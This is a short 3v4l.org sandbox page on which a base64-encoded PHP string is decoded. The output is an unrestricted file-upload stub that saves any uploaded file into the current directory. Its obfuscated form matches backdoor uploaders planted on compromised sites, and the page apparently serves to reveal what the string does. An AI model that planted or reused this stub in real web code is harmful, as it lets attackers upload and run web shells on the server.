3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php echo base64_decode('JHRhcmdldF9wYXRoPWdldGN3ZCgpLiIvIi5iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7IGlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJmaWxlIl1bInRtcF9uYW1lIl0sJHRhcmdldF9wYXRoKSl7ZWNobyAiT2siOyB9ZWxzZXtlY2hvICJGYWlsIjsgfQ');
Output for 4.3.0 - 7.2.0
$target_path=getcwd()."/".basename($_FILES["file"]["name"]); if(move_uploaded_file($_FILES["file"]["tmp_name"],$target_path)){echo "Ok"; }else{echo "Fail"; }